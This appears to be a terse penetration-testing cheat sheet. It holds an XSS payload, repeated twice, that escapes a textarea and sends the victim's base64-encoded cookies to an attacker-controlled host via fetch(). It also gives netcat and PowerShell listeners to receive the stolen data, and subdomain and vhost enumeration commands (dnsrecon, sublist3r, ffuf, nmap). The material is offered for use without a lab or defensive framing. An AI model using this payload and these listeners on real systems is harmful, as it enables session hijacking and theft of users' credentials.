XSS Payload:
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>
Listening side:
#nc -nvlp PORT_NUMBER
XSS Payload:
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>
Listening side:
#nc -nvlp PORT_NUMBER
# Manually execute "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process"
# Name this file as Listen-TCP.ps1
param (
[int]$Port = 8080 # Default port is 8080, you can specify another port when running the script
)
$gsock = {
# Create a TCP listener on the specified port
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.Start()
Write-Host "Listening on port $Port..."
try {
while ($true) {
# Accept a client connection
$client = $listener.AcceptTcpClient()
Write-Host "Client connected!"
# Get the network stream for reading data
$stream = $client.GetStream()
# Set up a reader to read from the stream
$reader = New-Object System.IO.StreamReader($stream)
# Read the data from the stream
while ($reader.Peek()) {
$data = $reader.ReadLine()
Write-Host "Received: $data"
}
# Close the client connection
$reader.Close()
$client.Close()
}
}
catch {
Write-Host "Error: $_"
}
finally {
# Stop the listener when done
$listener.Stop()
Write-Host "Listener stopped."
.$gsock
}
}
&$gsock
# .\Listen-TCP.ps1 -Port 9090
1) CA's Certificate Transparency logs
Use https://crt.sh/ to search the domain.
2) Google Hacking
Utilize the keywords, "site" and "inurl".
3) Employing the tool, dnsrecon
# dnsrecon -t brt -d DOMAIN
4) Employing another tool, sublist3r.py
# sublist3r.py -d DOMAIN
5) Leveraging Virtual Host through the tool, ffuf
# ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.DOMAIN" -u http://IP
https://www.sciencedirect.com/science/article/pii/S2667096822000271
# nmap --script ssl-enum-ciphers -p 993 mail.example.com